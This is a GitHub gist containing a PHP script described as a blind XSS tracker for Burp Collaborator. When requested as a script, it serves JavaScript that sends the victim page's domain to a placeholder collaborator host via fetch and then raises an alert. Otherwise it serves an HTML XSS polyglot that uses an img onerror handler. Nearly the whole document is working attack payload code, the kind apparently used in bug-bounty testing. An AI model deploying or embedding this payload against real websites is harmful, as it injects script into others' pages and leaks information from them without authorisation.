Skip to content

Instantly share code, notes, and snippets.

@mcipekci

mcipekci/gist:73a7dbe3eba8a416a38dc592933df1f3

Created March 13, 2025 16:07
Show Gist options
  • Save mcipekci/73a7dbe3eba8a416a38dc592933df1f3 to your computer and use it in GitHub Desktop.
Save mcipekci/73a7dbe3eba8a416a38dc592933df1f3 to your computer and use it in GitHub Desktop.
Download ZIP
php blind xss tracker for burp collab
Raw
gistfile1.txt
<?php
header("Access-Control-Allow-Origin: *");
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Range");
header("Access-Control-Expose-Headers: Content-Length,Content-Range");
if ($_SERVER["HTTP_SEC_FETCH_DEST"] == "script") {
header("Content-Type: text/javascript");
echo "fetch('//collabserver/?url='+document.domain);";
echo "alert(document.domain)";
} else {
header("Content-Type: text/html");
echo '<html><body>\'\';var msgbox;if(document.domain){alert(document.domain)}else{alert(1)}//<img src="x" onerror="if(document.domain){alert(document.domain)}else{alert(1)}">';
}
exit();
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment